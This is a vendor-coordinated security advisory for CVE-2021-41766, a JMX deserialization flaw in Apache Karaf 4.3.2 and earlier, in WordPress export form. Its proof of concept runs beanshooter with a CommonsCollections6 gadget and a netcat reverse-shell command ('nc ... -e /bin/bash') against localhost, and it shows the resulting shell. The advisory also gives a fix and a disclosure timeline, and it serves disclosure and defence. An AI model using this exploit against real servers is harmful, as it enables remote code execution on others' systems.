{"id":18474,"date":"2022-05-24T16:51:15","date_gmt":"2022-05-24T14:51:15","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2021-0025\/"},"modified":"2022-06-01T17:16:15","modified_gmt":"2022-06-01T15:16:15","slug":"usd-2021-0025","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0025\/","title":{"rendered":"usd-2021-0025"},"content":{"rendered":"\n[et_pb_section fb_built=\"1\" _builder_version=\"4.17.1\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<h1>usd-2021-0025 (CVE-2021-41766) | Apache Karaf<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2021-0025<\/span><br \/><strong>CVE Number<\/strong><span>: <\/span><a href=\"https:\/\/karaf.apache.org\/security\/cve-2021-41766.txt\" target=\"_blank\" rel=\"noopener\">CVE-2021-41766<\/a><br \/><strong>Product<\/strong><span>: Apache Karaf<br \/><\/span><strong>Affected Version: <\/strong>&lt;= 4.3.2<br \/><strong>Vulnerability Type<\/strong><span>: CWE-502: Deserialization of Untrusted Data<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/karaf.apache.org\/\" target=\"_blank\" rel=\"noopener\">https:\/\/karaf.apache.org\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p>Apache Karaf allows monitoring of applications and the Java runtime by using the Java Management Extensions (JMX).<br \/>JMX is a Java RMI based technology that relies on Java serialized objects for client server communication.<br \/>Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation<br \/>used by Apache Karaf is not protected against this kind of attack.<\/p>\n<p>The impact of Java deserialization vulnerabilities strongly depends on the classes that are available within the targets<br \/>class path. We did not look for available gadget chains within Apache Karaf and are not aware of any existing chains. However,<br \/>deserialization of untrusted data does always represent a high security risk and should be prevented.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>To verify the vulnerability one can obtain a binary distribution of <a href=\"https:\/\/karaf.apache.org\/download.html\" target=\"_blank\" rel=\"noopener\">Apache Karaf<\/a>.<br \/>After unpacking, Karaf can be started by executing <strong>.\/bin\/karaf<\/strong>, which drops into an interactive console and starts some<br \/>services in the background. One of these services is the JMX service, that is by default listening on port 1099.<\/p>\n<p>Before the default implementation of JMX was hardened in 2016, it was vulnerable to pre authenticated deserialization attacks.<br \/>CVE-2016-3427 was assigned for this vulnerability and it can be exploited by using tools like e.g. <a href=\"https:\/\/github.com\/qtc-de\/beanshooter\" target=\"_blank\" rel=\"noopener\">beanshooter<\/a>.<br \/>As the deserialization vulnerability in Karaf is very similar, we can use beanshooter to verify the vulnerability.<\/p>\n<p>The following listing shows a corresponding proof of concept. To make the vulnerability exploitable, we copy a library with<br \/>known deserialization gadgets to the classpath before starting Karaf. Afterwards, we use beanshooter to obtain code execution:<\/p>\n<p>Start Karaf:<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"20px||29px||false|false\" global_colors_info=\"{}\"]<p>[user@host apache-karaf-4.3.2]$ cp \/tmp\/commons-collections-3.1.jar lib\/<br \/>[user@host apache-karaf-4.3.2]$ .\/bin\/karaf <br \/>__ __ ____ <br \/>\/ \/\/_\/____ __________ _\/ __\/ <br \/>\/ ,&lt; \/ __ `\/ ___\/ __ `\/ \/_ <br \/>\/ \/| |\/ \/_\/ \/ \/ \/ \/_\/ \/ __\/ <br \/>\/_\/ |_|__,_\/_\/ __,_\/_\/<\/p>\n<p>Apache Karaf (4.3.2)<\/p>\n<p>Hit '&lt;tab&gt;' for a list of available commands<br \/>and '[cmd] --help' for help on a specific command.<br \/>Hit '&lt;ctrl-d&gt;' or type 'system:shutdown' or 'logout' to shutdown Karaf.<\/p>\n<p>karaf@root()&gt;<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.17.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<p><span>Exploit with beanshooter:<\/span><\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"20px||29px||false|false\" global_colors_info=\"{}\"]<p>[user@host apache-karaf-4.3.2]$ beanshooter --bound-name karaf-root 127.0.0.1 1099 cve-2016-3427 CommonsCollections6 \"nc 127.0.0.1 4444 -e \/bin\/bash\"\"<br \/>[+] Creating ysoserial payload...done.<br \/>[+] cve-2016-3427 - Sending serialized Object as credential.<br \/>[+] An SecurityException during the connection attempt is expected.<br \/>[+] Connecting to JMX server... <br \/>[-] The following exception was thrown: Expected String[2], got java.util.HashSet<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<p>Remote Code Execution:<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"20px||29px||false|false\" global_colors_info=\"{}\"]<p>[user@host ~]$ nc -vlp 4444<br \/>Ncat: Version 7.91 ( https:\/\/nmap.org\/ncat )<br \/>Ncat: Listening on :::4444<br \/>Ncat: Listening on 0.0.0.0:4444<br \/>Ncat: Connection from 127.0.0.1.<br \/>Ncat: Connection from 127.0.0.1:41828.<br \/>id<br \/>uid=1000(user) gid=1000(user) groups=1000(user)<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"][\/et_pb_text][et_pb_text _builder_version=\"4.17.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>To fix the Java deserialization vulnerability, it is recommended to configure an ObjectInputFilter for the JMX service.<br \/>This can be done by setting a suitable filter configuration for the <strong>jmx.remote.rmi.server.credentials.filter.pattern<\/strong> key that can<br \/>be specified within the environment variables when creating a new JMX server instance. A corresponding example can be found<br \/>within the current JMX <a href=\"https:\/\/github.com\/openjdk\/jdk\/blob\/master\/src\/jdk.management.agent\/share\/classes\/sun\/management\/jmxremote\/ConnectorBootstrap.java#L525\" target=\"_blank\" rel=\"noopener\">default implementation<\/a>.<\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li>2021-08-16: Vulnerability identified by Konstantin Samuel and Tobias Neitzel.<\/li>\n<li>2021-08-25: Advisory sent to security@apache.org.<\/li>\n<li>2021-08-30: Investigation started by vendor.<\/li>\n<li>2021-12-30: Status update requested from vendor.<\/li>\n<li>2022-03-10: <span>Advisory for <a href=\"https:\/\/karaf.apache.org\/security\/cve-2021-41766.txt\" target=\"_blank\" rel=\"noopener\">CVE-2021-41766<\/a> is released by Apache.<\/span><\/li>\n<li>2022-04-24: Security advisory released by usd AG.<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Konstantin Samuel and Tobias Neitzel of usd AG.<\/p>\n<\/div>\n<\/div>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0025 (CVE-2021-41766) | Apache Karaf Advisory ID: usd-2021-0025CVE Number: CVE-2021-41766Product: Apache KarafAffected Version: &lt;= 4.3.2Vulnerability Type: CWE-502: Deserialization of Untrusted DataSecurity Risk: HighVendor URL: https:\/\/karaf.apache.org\/Vendor Status: Fixed Description Apache Karaf allows monitoring of applications and the Java runtime by using the Java Management Extensions (JMX).JMX is a Java RMI based technology that relies on Java [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-18474","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18474","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18474"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18474\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18474"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}